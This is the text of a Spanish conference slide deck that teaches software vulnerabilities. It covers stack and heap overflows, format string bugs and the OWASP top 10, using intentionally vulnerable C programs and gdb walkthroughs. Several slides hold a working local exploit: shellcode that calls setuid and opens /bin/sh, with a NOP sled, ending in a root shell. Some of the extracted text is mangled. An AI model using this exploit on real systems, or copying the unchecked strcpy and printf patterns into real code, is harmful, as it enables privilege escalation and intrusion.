¡Ups! código inseguro: detección, explotación y mitigación de vulnerabilidades en software

768 views

Published on

Published in: Technology, Education
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
768
On SlideShare
0
From Embeds
0
Number of Embeds
70
Actions
Shares
0
Downloads
22
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

¡Ups! código inseguro: detección, explotación y mitigación de vulnerabilidades en software

  1. 1. ¡Ups! Código inseguro.<br />Carlos A. Lozano Vargas<br />
  2. 2. “Los hackers siempreentran<br />por la víamásfacíl”<br />
  3. 3. “Los script kiddies siempreentran<br />por la víamásfacíl… <br />los hackers pasanhorasfuzzeando, debuggeando, desensamblando<br />yexplotando”<br />
  4. 4. Vulnerabilidadesreportadas a la <br />National Vulnerability Database de EU<br />
  5. 5. Evolución: Del stack buffer overflow a la SQL Injection<br />
  6. 6. Stack buffer overflows<br />
  7. 7. La pila (stack)<br />Memoriaalta: <br />0xfffffff0<br />EBP<br />ESP<br />Memoriabaja: <br />0x11111111<br />
  8. 8. push %ebp<br />mov %esp, %ebp<br />sub $0x190, %esp<br />pushl 0xc(%ebp)<br />Prólogo de función<br />add $0xc, %esp<br />leave<br />ret<br />Epílogo de función<br />mov 0xc($ebp), %eax<br />add $0x08, %eax<br />pushl (%eax)<br />mov 0xc(%ebp), %eax<br />add $0x04, %eax<br />pushl (%eax)<br />call 0x804835c <funcion_name><br />Llamada a función<br />
  9. 9. Desbordamiento de un buffer<br />10 bytes<br />0x41414141<br />main(){<br /> chart str[10];<br />strcpy(str, “AAAAAAAAAAAAAAAA”);<br />}<br />Antes<br />Después<br />
  10. 10. Autenticación vulnerable a BOF<br />#include <stdio.h>#include <stdlib.h>#include <string.h>int check_authentification(char *password){int auth_flag=0;char password_buffer[16];strcpy(password_buffer, password);if(strcmp(password_buffer, "brilling")==0){auth_flag=1;}if(strcmp(password_buffer, "outgrabe")==0){auth_flag=1;}return auth_flag;}int main(int argc, char *argv[]){if(argc<2){printf("Usage: %s <password>n", argv[0]);exit(0);}<br />if(check_authentification(argv[1])){printf("n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-n");printf("Acces grantedn");printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-n");}else{printf("Access deniedn");}}<br />
  11. 11. Explotación<br />$ ./auth_overflowUsage: ./auth_overflow <password>$ ./auth_overflow brilling-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-$ ./auth_overflow outgrabe-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-$ ./auth_overflow testAccess denied$ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAA-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Segmentation fault<br />
  12. 12. Explicación (1)<br />$ gdb -q ./auth_overflow(gdb) list 11       #include <stdio.h>2       #include <stdlib.h>3       #include <string.h>45       int check_authentification(char *password){6               int auth_flag=0;7               char password_buffer[16];89               strcpy(password_buffer, password);10(gdb)11              if(strcmp(password_buffer, "brilling")==0){12                      auth_flag=1;13              }14              if(strcmp(password_buffer, "outgrabe")==0){15                      auth_flag=1;16              }1718              return auth_flag;19      }20<br />
  13. 13. Explicación (2)<br />21      int main(int argc, char *argv[]){22              if(argc<2){23                      printf("Usage: %s <password>n", argv[0]);24                      exit(0);25              }2627              if(check_authentification(argv[1])){28                      printf("n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-n");29                      printf("Acces grantedn");30                      print<br />31              }32              else{33                      printf("Access deniedn");34              }35      }<br />
  14. 14. Explicación (3)<br />(gdb)Line number 36 out of range; auth_overflow.c has 35 lines.(gdb) break 9Breakpoint 1 at 0x8048431: file auth_overflow.c, line 9.(gdb) break 18Breakpoint 2 at 0x8048481: file auth_overflow.c, line 18.(gdb) run AAAAAAAAAAAAAAAAAStarting program: /home/vendetta/Code/Art_of_Explotation/auth_overflow AAAAAAAAAAAAAAAAA<br />Breakpoint 1, check_authentification (password=0xbfd8d4d0 'A' <repeats 17 times>) at auth_overflow.c:99               strcpy(password_buffer, password);(gdb) x/s password_buffer0xbfd8cfe4:      "t227004b<F8><CF><U+063F><FD>202004b<F4><FF><FB><B7>"(gdb) x/x auth_flag0x0:    Cannot access memory at address 0x0(gdb) x/x &auth_flag0xbfd8cff4:     0x00000000(gdb) printf 0xbfd8cff4 - 0xbfd8cfe4Bad format string, missing '"'.(gdb) print 0xbfd8cff4 - 0xbfd8cfe4$1 = 16<br />
  15. 15. Explicación (4)<br />(gdb) x/16xw password_buffer0xbfd8cfe4:     0x08049774      0xbfd8cff8      0x080482fd      0xb7fbfff40xbfd8cff4:     0x00000000      0xbfd8d018      0x080484d9      0xbfd8d4d00xbfd8d004:     0xbfd8d0c0      0xb7fc0c80      0xb7fbfff4      0xbfd8d0300xbfd8d014:     0xbfd8d030      0xbfd8d088      0xb7e8e390      0xb7ffece0<br />(gdb) continueContinuing.Breakpoint 2, check_authentification (password=0xbfd8d4d0 'A' <repeats 17 times>) at auth_overflow.c:1818              return auth_flag;(gdb) x/s password_buffer0xbfd8cfe4:      'A' <repeats 17 times>(gdb) x/x &auth_flag0xbfd8cff4:     0x00000041(gdb) x/16xw password_buffer0xbfd8cfe4:     0x41414141      0x41414141      0x41414141      0x414141410xbfd8cff4:     0x00000041      0xbfd8d018      0x080484d9      0xbfd8d4d00xbfd8d004:     0xbfd8d0c0      0xb7fc0c80      0xb7fbfff4      0xbfd8d0300xbfd8d014:     0xbfd8d030      0xbfd8d088      0xb7e8e390      0xb7ffece0<br />(gdb) x/4cb &auth_flag0xbfd8cff4:     65 'A'  0 '0'  0 '0'  0 '0'<br />
  16. 16. Explicación (4)<br />(gdb) x/dw &auth_flag0xbfd8cff4:     65(gdb)0xbfd8cff8:     -1076309992(gdb)0xbfd8cffc:     134513881(gdb) continueContinuing.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Program exited with code 046.(gdb)The program is not being run.(gdb) quit<br />
  17. 17. Heap overflows<br />
  18. 18. Heap<br />Espacio<br />libre<br />Espacio<br />ocupado<br />Wilderness<br />
  19. 19. Código vulnerable a HOF<br />#include <stdio.h><br />#include <stdlib.h><br />#include <unistd.h><br />#include <string.h><br />#define BUFSIZE 10<br />#define OVERSIZE 5<br />intmain(){<br />u_longdiff;<br />char *buf1=(char *)malloc(BUFSIZE);<br />char *buf2=(char *)malloc(BUFSIZE);<br />diff=(u_long)buf2-(u_long)buf1;<br />printf(“diff=%dbytesn”, diff);<br />strcat(buf2, “AAAAAAAAAA”);<br />printf(“buf2 antes del overflow = %sn”, buf2);<br />memset(buf1, ‘B’, (u_int)(diff+OVERSIZE);<br />printf(“buf2 despues del overflow = %sn”, buf2);<br />return 0;<br />}<br />
  20. 20. Explotación<br /># ./heap1<br />Diff = 16 bytes<br />buf2 antes del overflow = AAAAAAAAAA<br />buf2 despues del overflow = BBBBBAAAAA<br />
  21. 21. Format string bugs<br />
  22. 22. Código vulnerable a format string bugs<br />#include <stdio.h><br />#include <stdlib.h><br />#include <string.h><br />intmain(intargc, char *argv[]) {<br />chartext[1024];<br />staticinttest_val = -72;<br />if(argc < 2) {<br />printf("Usage: %s <texttoprint>n", argv[0]);<br />exit(0);<br /> }<br />strcpy(text, argv[1]);<br />printf("Therightwaytoprintuser-controlledinput:n");<br />printf("%s", text);<br />printf("nThewrongwaytoprintuser-controlledinput:n");<br />printf(text);<br />printf("n");<br /> // Debug output<br />printf("[*] test_val @ 0x%08x = %d 0x%08xn", &test_val, test_val, test_val);<br />exit(0);<br />}<br />
  23. 23. Explotación<br />vendetta@pwned:~/code $ ./fmt_vulnhoooooooooola<br />Therightwaytoprintuser-controlledinput:<br />hoooooooooola<br />Thewrongwaytoprintuser-controlledinput:<br />hoooooooooola<br />[*] test_val @ 0x08049794 = -72 0xffffffb8<br />vendetta@pwned:~/code $ ./fmt_vuln %s<br />Therightwaytoprintuser-controlledinput:<br />%s<br />Thewrongwaytoprintuser-controlledinput:<br />%s<br />[*] test_val @ 0x08049794 = -72 0xffffffb8<br />vendetta@pwned:~/code $ ./fmt_vuln &x<br />[1] 8815<br />Usage: ./fmt_vuln <texttoprint><br />bash: x: orden no encontrada<br />[1]+ Done ./fmt_vuln<br />vendetta@pwned:~/code $ ./fmt_vuln &HOME<br />[1] 8828<br />Usage: ./fmt_vuln <texttoprint><br />bash: HOME: orden no encontrada<br />[1]+ Done ./fmt_vuln<br />
  24. 24. Aprovechamiento de vulnerabilidades<br />
  25. 25. Códigoparaescribiruna nota (1)<br />#include <stdio.h>#include <stdlib.h>#include <string.h>#include <fcntl.h>#include <sys/stat.h>#include "functions.h"void usage(char *prog_name, char *filename) {printf("Usage: %s <data to add to %s>n", prog_name, filename);exit(0);}void fatal(char *);void *ec_malloc(unsigned int);int main(int argc, char *argv[]) {int userid, fd; // file descriptorchar *buffer, *datafile;<br />buffer = (char *) ec_malloc(100);datafile = (char *) ec_malloc(20);strcpy(datafile, "/var/notes");<br />
  26. 26. Códigoparaescribiruna nota (2)<br />if(argc < 2) usage(argv[0], datafile);strcpy(buffer, argv[1]);printf("[DEBUG] buffer @ %p: '%s'n", buffer, buffer);printf("[DEBUG] datafile @ %p: '%s'n", datafile, datafile);fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);if(fd == -1)fatal("in main() while opening file");printf("[DEBUG] file descriptor is %dn", fd);userid = getuid();if(write(fd, &userid, 4) == -1)fatal("in main() while writing userid to file");write(fd, "n", 1);<br />if(write(fd, buffer, strlen(buffer)) == -1)fatal("in main() while writing buffer to file");write(fd, "n", 1);<br />
  27. 27. Códigoparaescribiruna nota (3)<br />if(close(fd) == -1)fatal("in main() while closing file");printf("Note has been saved.n");free(buffer);free(datafile);}<br />
  28. 28. Códigoparabuscaruna nota (1)<br />#include <stdio.h>#include <string.h>#include <fcntl.h>#include <sys/stat.h>#include "functions.h"#define FILENAME "/var/notes"int print_notes(int, int, char *); int find_user_note(int, int); int search_note(char *, char *);void fatal(char *); int main(int argc, char *argv[]) {int userid, printing=1, fd;char searchstring[100];<br />if(argc > 1) strcpy(searchstring, argv[1]);else searchstring[0] = 0; <br />
  29. 29. Códigoparabuscaruna nota (2)<br />while(printing)printing = print_notes(fd, userid, searchstring);printf("-------[ end of note data ]-------n");close(fd);}int print_notes(int fd, int uid, char *searchstring) {int note_length;char byte=0, note_buffer[100];note_length = find_user_note(fd, uid);if(note_length == -1)return 0; read(fd, note_buffer, note_length);note_buffer[note_length] = 0; if(search_note(note_buffer, searchstring))printf(note_buffer); return 1;}<br />
  30. 30. Códigoparabuscaruna nota (3)<br />int find_user_note(int fd, int user_uid) {int note_uid=-1;unsigned char byte;int length;while(note_uid != user_uid) {if(read(fd, &note_uid, 4) != 4)return -1;if(read(fd, &byte, 1) != 1)return -1;byte = length = 0;while(byte != 'n') { if(read(fd, &byte, 1) != 1)return -1; length++; }}lseek(fd, length * -1, SEEK_CUR);<br />printf("[DEBUG] found a %d byte note for user id %dn", length, note_uid);return length;}<br />
  31. 31. Códigoparabuscaruna nota (4)<br />int search_note(char *note, char *keyword) {int i, keyword_length, match=0;keyword_length = strlen(keyword);if(keyword_length == 0)return 1; for(i=0; i < strlen(note); i++) {if(note[i] == keyword[match])match++; else { if(note[i] == keyword[0])match = 1; elsematch = 0; }if(match == keyword_length)return 1;}return 0;}<br />
  32. 32. Exploit (1)<br />#include <stdio.h>#include <stdlib.h>#include <string.h>char shellcode[]="x31xc0x31xdbx31xc9x99xb0xa4xcdx80x6ax0bx58x51x68""x2fx2fx73x68x68x2fx62x69x6ex89xe3x51x89xe2x53x89""xe1xcdx80";int main(int argc, char *argv[]) {unsigned int i, *ptr, ret, offset=270;char *command, *buffer;command = (char *) malloc(200);bzero(command, 200);strcpy(command, "./notesearch '");buffer = command + strlen(command);if(argc > 1)offset = atoi(argv[1]);ret = (unsigned int) &i - offset;<br />
  33. 33. Exploit (2)<br />for(i=0; i < 160; i+=4)*((unsigned int *)(buffer+i)) = ret;memset(buffer, 0x90, 60);memcpy(buffer+60, shellcode, sizeof(shellcode)-1);strcat(command, "'");system(command);free(command);}<br />
  34. 34. Explicación (1)<br />vendetta@pwned:/home/vendetta/booksrc $ gdb -q exploit_notesearchUsing host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".(gdb) list1       #include <stdio.h>2       #include <stdlib.h>3       #include <string.h>4       char shellcode[]=5       "x31xc0x31xdbx31xc9x99xb0xa4xcdx80x6ax0bx58x51x68"6       "x2fx2fx73x68x68x2fx62x69x6ex89xe3x51x89xe2x53x89"7       "xe1xcdx80";89       int main(int argc, char *argv[]) {10         unsigned int i, *ptr, ret, offset=270;<br />11         char *command, *buffer;1213         command = (char *) malloc(200);14         bzero(command, 200); // zero out the new memory1516         strcpy(command, "./notesearch '"); // start command buffer17         buffer = command + strlen(command); // set buffer at the end1819         if(argc > 1) // set offset20            offset = atoi(argv[1]);<br />
  35. 35. Explicación (2)<br />2122         ret = (unsigned int) &i - offset; // set return address2324         for(i=0; i < 160; i+=4) // fill buffer with return address25            *((unsigned int *)(buffer+i)) = ret;26         memset(buffer, 0x90, 60); // build NOP sled27         memcpy(buffer+60, shellcode, sizeof(shellcode)-1);2829         strcat(command, "'");30         system(command); // run exploit<br />31         free(command);32      }33(gdb) break 26Breakpoint 1 at 0x80485fa: file exploit_notesearch.c, line 26.(gdb) break 27Breakpoint 2 at 0x8048615: file exploit_notesearch.c, line 27.(gdb) break 28Breakpoint 3 at 0x8048633: file exploit_notesearch.c, line 28.(gdb) runStarting program: /home/vendetta/booksrc/exploit_notesearch<br />Breakpoint 1, main (argc=1, argv=0xbffff824) at exploit_notesearch.c:2626         memset(buffer, 0x90, 60); // build NOP sled(gdb) x/x40 bufferA syntax error in expression, near `buffer'.<br />
  36. 36. Explicación (3)<br />(gdb) x/40x buffer0x804a016:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a026:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a036:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a046:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a056:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a066:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a076:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a086:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a096:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a0a6:      0xbffff686      0xbffff686      0xbffff686      0xbffff686<br />(gdb) x/s command0x804a008:       "./notesearch '206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���"(gdb) cont<br />Continuing.Breakpoint 2, main (argc=1, argv=0xbffff824) at exploit_notesearch.c:2727         memcpy(buffer+60, shellcode, sizeof(shellcode)-1);<br />
  37. 37. Explicación (4)<br />(gdb) x/40x buffer0x804a016:      0x90909090      0x90909090      0x90909090      0x909090900x804a026:      0x90909090      0x90909090      0x90909090      0x909090900x804a036:      0x90909090      0x90909090      0x90909090      0x909090900x804a046:      0x90909090      0x90909090      0x90909090      0xbffff6860x804a056:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a066:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a076:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a086:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a096:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a0a6:      0xbffff686      0xbffff686      0xbffff686      0xbffff686(gdb) x/s command0x804a008:       "./notesearch '", '220' <repeats 60 times>, "206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���"(gdb) contContinuing.<br />Breakpoint 3, main (argc=1, argv=0xbffff824) at exploit_notesearch.c:2929         strcat(command, "'");<br />
  38. 38. Explicación (5)<br />(gdb) x/40x buffer0x804a016:      0x90909090      0x90909090      0x90909090      0x909090900x804a026:      0x90909090      0x90909090      0x90909090      0x909090900x804a036:      0x90909090      0x90909090      0x90909090      0x909090900x804a046:      0x90909090      0x90909090      0x90909090      0xdb31c0310x804a056:      0xb099c931      0x6a80cda4      0x6851580b      0x68732f2f0x804a066:      0x69622f68      0x51e3896e      0x8953e289      0xbf80cde10x804a076:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a086:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a096:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a0a6:      0xbffff686      0xbffff686      0xbffff686      0xbffff686(gdb) x/s command0x804a008:       "./notesearch '", '220' <repeats 60 times>, "1�1�1�231���200jvXQh//shh/bin211�Q211�S211��200�206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���206���"(gdb) cont<br />Continuing.-------[ end of note data ]-------Program exited normally.(gdb) qvendetta@pwned:/home/vendetta/booksrc $ ./exploit_notesearch-------[ end of note data ]-------sh-3.2#<br />
  39. 39. Vulnerabilidades en aplicaciones Web<br />
  40. 40. OWASP top 10<br /><ul><li>Inyecciones de código
  41. 41. XSS
  42. 42. Fallos de autenticaciónymanejo de sesioneserróneo
  43. 43. Referenciasdirectas a objetos
  44. 44. CSRF
  45. 45. Errores de configuración
  46. 46. Almacenamientoinseguro
  47. 47. Fallos en la restricción de recursos
  48. 48. Proteccióninsuficiente en la capa de transporte
  49. 49. Redireccionesyreenviosinválidos</li></li></ul><li>Inyecciones de código<br />Vulnerabilidad:<br />Inyecciones de código<br />Descripción:<br />Ocurrecuandocódigo no malisiosoesinyectado en la aplicación con el fin de ejecutar un comandooconsulta no contempladapor el desarrollador.<br />Causa:<br />Errores de validación de entradas<br />Consecuencias:<br />Compromiso de la aplicación, robo de información.<br />Soluciones:<br />Validación de entradas, correctaseparacióncliente-servidor,, uso de consultasparametrizadas.<br />
  50. 50. Inyecciones de código<br />Herramientas:<br />Pangolin<br />SQL ninja<br />SQL Map<br />SQL Inject Me<br />
  51. 51. Inyecciones de código<br />
  52. 52. Cross Site Scripting (XSS)<br />Vulnerabilidad:<br />Cross Site Scripting<br />Descripción:<br />Inyección de códigopobrementeescapadoquepermiteingresarunasentenciadirectamente en el campo URL del navegadorparamodificar la apariencia del sitio Web.<br />Causa:<br />Errores de validación de campos.<br />Consecuencias:<br />Ingeniería social, robo de identidad, phishing<br />Soluciones:<br />Validación de entradas.<br />
  53. 53. Cross Site Scripting (XSS)<br />Herramientas:<br />Acunetix<br />N-Stalker<br />W3af<br />XSS Me<br />
  54. 54. Cross Site Scripting (XSS)<br />
  55. 55. Salto de autenticaciónyerroneomanejo de sesiones<br />Vulnerabilidad:<br />Salto de autenticaciónyerroneomanejo de sesiones<br />Descripción:<br />Errores en la generación, manejoydestrucciones de sesionesy tickets de transacciones.<br />Causa:<br />Confianza en frameworks yservidores Web.<br />Consecuencias:<br />Ingreso no autorizado, robo de información, robo de identidad.<br />Soluciones:<br />Uso de sesionesy tickets dinamicos, establecimiento de time-outs, destrucción de sesiones.<br />
  56. 56. Salto de autenticaciónyerroneomanejo de sesiones<br />Herramientas:<br />Paros Proxy<br />Charles<br />Tamper Data<br />
  57. 57. Salto de autenticaciónyerroneomanejo de sesiones<br />
  58. 58. Referenciasinseguras a objetos<br />Vulnerabilidad:<br />Referenciasinseguras a objetos<br />Descripción:<br />Referencia a un objetointernocomo un archivo, directorio, base de datos..<br />Causa:<br />Manipulación de recursos no autorizada.<br />Consecuencias:<br />Acceso a recursos no autorizados.<br />Soluciones:<br />Control de accesos a recursos.<br />
  59. 59. Cross Site Request Forgery<br />Vulnerabilidad:<br />Cross Site Request Forgery (CSRF)<br />Descripción:<br />Ataque en el cual se forza el envio de información HTTP de un usuarioautenticadocorrectamente, como la sesióny cookies, con el fin de enviarinformaciónfalsadespueshaciendocreer a la aplicaciónque se es el usuario real.<br />Causa:<br />Transacciones multiples.<br />Consecuencias:<br />Compromiso de la aplicación.<br />Soluciones:<br />Uso de tickets dinamicosparatransacciones.<br />
  60. 60. Errores de configuración<br />
  61. 61. Almacenamientoinsegurode información<br />Vulnerabilidad:<br />Almacenamientoinseguro de información<br />Descripción:<br />Almacenamiento de información sin mecanismos de cifrado.<br />Causa:<br />Malasprácticas de resguardo de información.<br />Consecuencias:<br />Robo de información.<br />Soluciones:<br />Uso de mecanismos de cifrado.<br />
  62. 62. Errores de restricción de URLs<br />Vulnerabilidad:<br />Errores de restricción de URLs<br />Descripción:<br />Acceso no autorizado a recursos de la aplicación<br />Causa:<br />Errores de autorización.<br />Consecuencias:<br />Robo de información, acceso no autorizado.<br />Soluciones:<br />Uso de matrices de autenticación.<br />
  63. 63. Proteccióninsuficienteen la capa de transporte<br />Vulnerabilidad:<br />Proteccióninsuficiente en la capa de transporte<br />Descripción:<br />Informaciónenviada en textoclaroomediantemecanismos de cifradoreversibles<br />Causa:<br />Malasprácticas.<br />Consecuencias:<br />Robo de información, acceso no autorizado.<br />Soluciones:<br />Uso de HTTPS, SSH uotrosmecanismos de cifrado.<br />
  64. 64. Proteccióninsuficienteen la capa de transporte<br />Herramientas:<br />Wireshark<br />Trapper<br />Cain<br />EavesDrop<br />Paros Proxy<br />Charles Proxy<br />Tamper Data<br />
  65. 65. Proteccióninsuficienteen la capa de transporte<br />
  66. 66. Redireccionesyreenviosinválidos<br />Vulnerabilidad:<br />Redireccionesyreenviosinvalidos<br />Descripción:<br />Errores en el reenviooredirección del usuario.<br />Causa::<br />Malasprácticas.<br />Consecuencias:<br />Robo de información, acceso no autorizado.<br />Soluciones:<br />Uso de matrices de autorización.<br />
  67. 67. Frases de TI<br />
  68. 68. “Nosotros no nosprecupamos del manejo de sesiones, el framework se encarga de ello”<br />
  69. 69. “Es configurable… ”<br />
  70. 70. “Pero, si, si lo valide…”<br />
  71. 71. “Youso Java/.Net…”<br />
  72. 72. “/*Ahorita no hay usuarioadministrador, peroyaluegochecamoseso en producción*/”<br />
  73. 73. ¡Gracias!<br />Carlos A. Lozano Vargas<br />augusto@bluemammut.com<br />

×